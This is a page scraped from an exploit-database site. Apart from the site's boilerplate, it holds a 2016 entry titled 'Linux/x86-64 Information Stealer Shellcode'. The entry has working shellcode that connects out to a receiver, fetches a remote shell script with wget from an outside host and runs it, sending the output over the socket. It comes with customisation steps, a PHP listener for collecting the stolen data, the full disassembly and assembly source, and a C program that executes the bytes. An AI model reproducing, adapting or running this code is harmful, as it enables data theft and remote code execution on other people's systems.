0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Linux/x86-64 - Information Stealer Shellcode (399 bytes)
/* # Title : Linux x86_64 information stealer # Date : 23-05-2016 # Author : Roziul Hasan Khan Shifat # Tested On : Ubuntu 14.04 LTS x86_64 # Contact : shifath12@gmail.com */ /* How does this shellcode works ----------------------------------- 1. First it connects to the information reciver 2. then it download a sh script from http://192.168.30.129/pri.sh (server running on Kali linux) 3. duplicating stdout,stderr with socket descriptor 4. then it execute the script using sh */ /* Note: the pri.sh file was in kali linux.the server was Kali linux client was Ubuntu it downloads the pri.sh from kali linux and Executes it on Ubuntu */ /* Requirements of this shellcode -------------------------------------- 1.link of pri.sh (You can Found it on http://pastebin.com/V4gudKL5 ) . this script isn't mine.I've taken it from another.I customized the script 2.reciver ip */ /* How to use this shellcode --------------------------------- 1. Upload the pri.sh any site 2. TO download the pri.sh , U need to Customize the wget procedure (I've marked where to customized) 3. Customize the connect procedure for connect to the reciver where i marked 4. U need to know assembly to completed 1,2 instruction */ /* Reciver --------- To recive the Information U may Use Netcat If U want to view the informations on Web browser , I've a php script for U. upload it any site. <?php if (!($sock = socket_create(AF_INET, SOCK_STREAM, 0))) { $errorcode = socket_last_error(); $errormsg = socket_strerror($errorcode); die ("Couldn't create socket: [$errorcode] $errormsg \n");} echo "Socket created \n\n"; if ( !socket_bind($sock, "0.0.0.0" , 1532) ) { $errorcode = socket_last_error(); $errormsg = socket_strerror($errorcode); die ("Could not bind socket : [$errorcode] $errormsg \n");} echo "Socket bind OK \n\n"; if (!socket_listen ($sock , 10)) { $errorcode = socket_last_error(); $errormsg = socket_strerror($errorcode); die ("Could not listen on socket : [$errorcode] $errormsg \n");} echo "Socket listen OK \n\n\n"; echo "Waiting for incoming connections... \n"; //Accept incoming connection - This is a blocking call $client = socket_accept($sock); //display information about the client who is connected if (socket_getpeername($client , $address , $port)) { echo "Client $address : $port is now connected to us. \n"; } //read data from the incoming socket while(1) { $i= socket_recv($client,$buf, 1024000,MSG_WAITALL); if($i<=0) die("\nconnection closed by $address"); else echo $buf."\n\n"; } ?> if U this script , the reciver ip will be the website ip BUT I RECOMMEND U TO USE NETCAT */ /* Disassembly of section .text: 0000000000400080 <_start>: 400080: 6a 06 pushq $0x6 400082: 6a 01 pushq $0x1 400084: 6a 02 pushq $0x2 400086: 5f pop %rdi 400087: 5e pop %rsi 400088: 5a pop %rdx 400089: 6a 29 pushq $0x29 40008b: 58 pop %rax 40008c: 0f 05 syscall 40008e: 48 31 db xor %rbx,%rbx 400091: 48 89 c3 mov %rax,%rbx 400094: 48 31 c0 xor %rax,%rax 400097: 48 31 ff xor %rdi,%rdi 40009a: b0 39 mov $0x39,%al 40009c: 0f 05 syscall 40009e: 4d 31 c9 xor %r9,%r9 4000a1: 4c 39 c8 cmp %r9,%rax 4000a4: 74 18 je 4000be <connect> 4000a6: 6a 3c pushq $0x3c 4000a8: 58 pop %rax 4000a9: 0f 05 syscall 00000000004000ab <retry>: 4000ab: 48 31 f6 xor %rsi,%rsi 4000ae: 48 f7 e6 mul %rsi 4000b1: 56 push %rsi 4000b2: 6a 3c pushq $0x3c 4000b4: 48 89 e7 mov %rsp,%rdi 4000b7: b0 23 mov $0x23,%al 4000b9: 0f 05 syscall 4000bb: eb 01 jmp 4000be <connect> 4000bd: c3 retq 00000000004000be <connect>: 4000be: 6a 10 pushq $0x10 4000c0: 5a pop %rdx 4000c1: 53 push %rbx 4000c2: 5f pop %rdi 4000c3: 48 31 c0 xor %rax,%rax 4000c6: 50 push %rax 4000c7: 50 push %rax 4000c8: 50 push %rax 4000c9: c6 04 24 02 movb $0x2,(%rsp) 4000cd: 66 c7 44 24 02 05 fc movw $0xfc05,0x2(%rsp) 4000d4: c7 44 24 04 c0 a8 1e movl $0x811ea8c0,0x4(%rsp) 4000db: 81 4000dc: 48 89 e6 mov %rsp,%rsi 4000df: b0 2a mov $0x2a,%al 4000e1: 0f 05 syscall 4000e3: 48 31 ff xor %rdi,%rdi 4000e6: 48 39 f8 cmp %rdi,%rax 4000e9: 7c c0 jl 4000ab <retry> 4000eb: 48 31 c0 xor %rax,%rax 4000ee: 48 31 f6 xor %rsi,%rsi 4000f1: 48 ff c6 inc %rsi 4000f4: 48 89 df mov %rbx,%rdi 4000f7: b0 21 mov $0x21,%al 4000f9: 0f 05 syscall 4000fb: 48 31 c0 xor %rax,%rax 4000fe: 48 ff c6 inc %rsi 400101: 48 89 df mov %rbx,%rdi 400104: b0 21 mov $0x21,%al 400106: 0f 05 syscall 400108: 48 31 c0 xor %rax,%rax 40010b: 48 83 c0 39 add $0x39,%rax 40010f: 0f 05 syscall 400111: 48 31 ff xor %rdi,%rdi 400114: 4d 31 e4 xor %r12,%r12 400117: 49 89 c4 mov %rax,%r12 40011a: 48 39 f8 cmp %rdi,%rax 40011d: 74 59 je 400178 <wget> 40011f: 4d 31 d2 xor %r10,%r10 400122: 48 31 d2 xor %rdx,%rdx 400125: 4c 89 d6 mov %r10,%rsi 400128: 4c 89 e7 mov %r12,%rdi 40012b: 48 31 c0 xor %rax,%rax 40012e: b0 3d mov $0x3d,%al 400130: 0f 05 syscall 400132: 48 31 c0 xor %rax,%rax 400135: 48 31 d2 xor %rdx,%rdx 400138: 50 push %rax 400139: 50 push %rax 40013a: c7 04 24 2f 2f 62 69 movl $0x69622f2f,(%rsp) 400141: c7 44 24 04 6e 2f 73 movl $0x68732f6e,0x4(%rsp) 400148: 68 400149: 48 89 e7 mov %rsp,%rdi 40014c: 50 push %rax 40014d: 50 push %rax 40014e: c7 04 24 2e 70 72 69 movl $0x6972702e,(%rsp) 400155: 66 c7 44 24 04 2e 73 movw $0x732e,0x4(%rsp) 40015c: c6 44 24 06 68 movb $0x68,0x6(%rsp) 400161: 48 89 e6 mov %rsp,%rsi 400164: 52 push %rdx 400165: 56 push %rsi 400166: 57 push %rdi 400167: 48 89 e6 mov %rsp,%rsi 40016a: 48 83 c0 3b add $0x3b,%rax 40016e: 0f 05 syscall 400170: 41 51 push %r9 400172: 5f pop %rdi 400173: 6a 03 pushq $0x3 400175: 58 pop %rax 400176: 0f 05 syscall 0000000000400178 <wget>: 400178: 48 31 c0 xor %rax,%rax 40017b: 50 push %rax 40017c: 50 push %rax 40017d: 50 push %rax 40017e: c7 04 24 2f 75 73 72 movl $0x7273752f,(%rsp) 400185: c7 44 24 04 2f 62 69 movl $0x6e69622f,0x4(%rsp) 40018c: 6e 40018d: c7 44 24 08 2f 2f 77 movl $0x67772f2f,0x8(%rsp) 400194: 67 400195: 66 c7 44 24 0c 65 74 movw $0x7465,0xc(%rsp) 40019c: 48 89 e7 mov %rsp,%rdi 40019f: 50 push %rax 4001a0: 50 push %rax 4001a1: 50 push %rax 4001a2: 50 push %rax 4001a3: c7 04 24 68 74 74 70 movl $0x70747468,(%rsp) 4001aa: c7 44 24 04 3a 2f 2f movl $0x312f2f3a,0x4(%rsp) 4001b1: 31 4001b2: c7 44 24 08 39 32 2e movl $0x312e3239,0x8(%rsp) 4001b9: 31 4001ba: c7 44 24 0c 36 38 2e movl $0x332e3836,0xc(%rsp) 4001c1: 33 4001c2: c7 44 24 10 30 2e 31 movl $0x32312e30,0x10(%rsp) 4001c9: 32 4001ca: c7 44 24 14 39 2f 70 movl $0x72702f39,0x14(%rsp) 4001d1: 72 4001d2: c7 44 24 18 69 2e 73 movl $0x68732e69,0x18(%rsp) 4001d9: 68 4001da: 48 89 e6 mov %rsp,%rsi 4001dd: 48 31 d2 xor %rdx,%rdx 4001e0: 50 push %rax 4001e1: 66 c7 04 24 2d 4f movw $0x4f2d,(%rsp) 4001e7: 48 89 e1 mov %rsp,%rcx 4001ea: 50 push %rax 4001eb: 50 push %rax 4001ec: c7 04 24 2e 70 72 69 movl $0x6972702e,(%rsp) 4001f3: 66 c7 44 24 04 2e 73 movw $0x732e,0x4(%rsp) 4001fa: c6 44 24 06 68 movb $0x68,0x6(%rsp) 4001ff: 49 89 e7 mov %rsp,%r15 400202: 52 push %rdx 400203: 41 57 push %r15 400205: 51 push %rcx 400206: 56 push %rsi 400207: 57 push %rdi 400208: 48 89 e6 mov %rsp,%rsi 40020b: b0 3b mov $0x3b,%al 40020d: 0f 05 syscall */ /* section .text global _start ;----------------- _start: ;socket() push 6 push 1 push 2 pop rdi pop rsi pop rdx push 41 pop rax syscall ;------------------ xor rbx,rbx mov rbx,rax ;socket descriptor ;------------- xor rax,rax xor rdi,rdi mov al,57 syscall xor r9,r9 cmp rax,r9 jz connect push byte 60 pop rax syscall retry: xor rsi,rsi mul rsi push rsi push byte 60 ;1 min ( change it if U want ) mov rdi,rsp mov al,35 syscall jmp connect ret connect: ;connect() push 16 pop rdx push rbx pop rdi xor rax,rax push rax push rax push rax mov [rsp],byte 2 ;----------------------------------- ;customize these staetments mov [rsp+2],word 0xfc05 ;port 1532 ( U may change it, As U wish ) mov [rsp+4],dword 0x811ea8c0 ;ip of reciver (must change it) ;-------------------------------------- mov rsi,rsp mov al,42 syscall xor rdi,rdi cmp rax,rdi jl retry ;------------dup2(sd,1) xor rax,rax xor rsi,rsi inc rsi mov rdi,rbx mov al,33 syscall ;------------ ;------------dup2(sd,2) xor rax,rax inc rsi mov rdi,rbx mov al,33 syscall ;------------ ;fork() xor rax,rax add rax,57 syscall xor rdi,rdi xor r12,r12 mov r12,rax ;pid cmp rax,rdi jz wget ;--------------- ;wait4() xor r10,r10 ;null xor rdx,rdx ;null mov rsi,r10 ;status mov rdi,r12 ;pid xor rax,rax mov al,61 syscall ;; ;------------------------- ;execve("//bin/sh",{"//bin/sh",".pri.sh",NULL},NULL); xor rax,rax xor rdx,rdx push rax push rax mov [rsp],dword '//bi' mov [rsp+4],dword 'n/sh' mov rdi,rsp push rax push rax mov [rsp],dword '.pri' mov [rsp+4],word '.s' mov [rsp+6],byte 'h' mov rsi,rsp push rdx push rsi push rdi mov rsi,rsp add rax,59 syscall ;-------- ;close(fd) push r9 pop rdi push 3 pop rax syscall wget: ;execve("/usr/bin//wget",{"/usr/bin//wget","http ://1 92.1 68.3 0.12 9/pr i.sh","-O",".pri.sh",NULL},NULL) xor rax,rax push rax push rax push rax mov [rsp],dword '/usr' mov [rsp+4],dword '/bin' mov [rsp+8],dword '//wg' mov [rsp+12],word 'et' mov rdi,rsp push rax push rax push rax push rax ;---------------------- ;cusmizetd these statements for the link of pri.sh mov [rsp],dword 'http' mov [rsp+4],dword '://1' mov [rsp+8],dword '92.1' mov [rsp+12],dword '68.3' mov [rsp+16],dword '0.12' mov [rsp+20],dword '9/pr' mov [rsp+24],dword 'i.sh' ;------------------------ mov rsi,rsp xor rdx,rdx push rax mov [rsp],word '-O' mov rcx,rsp push rax push rax mov [rsp],dword '.pri' mov [rsp+4],word '.s' mov [rsp+6],byte 'h' mov r15,rsp push rdx push r15 push rcx push rsi push rdi mov rsi,rsp mov al,59 syscall */ #include<stdio.h> #include<string.h> char shellcode[]="\x6a\x06\x6a\x01\x6a\x02\x5f\x5e\x5a\x6a\x29\x58\x0f\x05\x48\x31\xdb\x48\x89\xc3\x48\x31\xc0\x48\x31\xff\xb0\x39\x0f\x05\x4d\x31\xc9\x4c\x39\xc8\x74\x18\x6a\x3c\x58\x0f\x05\x48\x31\xf6\x48\xf7\xe6\x56\x6a\x3c\x48\x89\xe7\xb0\x23\x0f\x05\xeb\x01\xc3\x6a\x10\x5a\x53\x5f\x48\x31\xc0\x50\x50\x50\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x05\xfc\xc7\x44\x24\x04\xc0\xa8\x1e\x81\x48\x89\xe6\xb0\x2a\x0f\x05\x48\x31\xff\x48\x39\xf8\x7c\xc0\x48\x31\xc0\x48\x31\xf6\x48\xff\xc6\x48\x89\xdf\xb0\x21\x0f\x05\x48\x31\xc0\x48\xff\xc6\x48\x89\xdf\xb0\x21\x0f\x05\x48\x31\xc0\x48\x83\xc0\x39\x0f\x05\x48\x31\xff\x4d\x31\xe4\x49\x89\xc4\x48\x39\xf8\x74\x59\x4d\x31\xd2\x48\x31\xd2\x4c\x89\xd6\x4c\x89\xe7\x48\x31\xc0\xb0\x3d\x0f\x05\x48\x31\xc0\x48\x31\xd2\x50\x50\xc7\x04\x24\x2f\x2f\x62\x69\xc7\x44\x24\x04\x6e\x2f\x73\x68\x48\x89\xe7\x50\x50\xc7\x04\x24\x2e\x70\x72\x69\x66\xc7\x44\x24\x04\x2e\x73\xc6\x44\x24\x06\x68\x48\x89\xe6\x52\x56\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05\x41\x51\x5f\x6a\x03\x58\x0f\x05\x48\x31\xc0\x50\x50\x50\xc7\x04\x24\x2f\x75\x73\x72\xc7\x44\x24\x04\x2f\x62\x69\x6e\xc7\x44\x24\x08\x2f\x2f\x77\x67\x66\xc7\x44\x24\x0c\x65\x74\x48\x89\xe7\x50\x50\x50\x50\xc7\x04\x24\x68\x74\x74\x70\xc7\x44\x24\x04\x3a\x2f\x2f\x31\xc7\x44\x24\x08\x39\x32\x2e\x31\xc7\x44\x24\x0c\x36\x38\x2e\x33\xc7\x44\x24\x10\x30\x2e\x31\x32\xc7\x44\x24\x14\x39\x2f\x70\x72\xc7\x44\x24\x18\x69\x2e\x73\x68\x48\x89\xe6\x48\x31\xd2\x50\x66\xc7\x04\x24\x2d\x4f\x48\x89\xe1\x50\x50\xc7\x04\x24\x2e\x70\x72\x69\x66\xc7\x44\x24\x04\x2e\x73\xc6\x44\x24\x06\x68\x49\x89\xe7\x52\x41\x57\x51\x56\x57\x48\x89\xe6\xb0\x3b\x0f\x05"; /* insert shellcode here */ int main() { printf("shellcode length %ld",( unsigned long ) strlen(shellcode)); ( * (int(*)()) shellcode) (); } # 0day.today [2024-11-15] #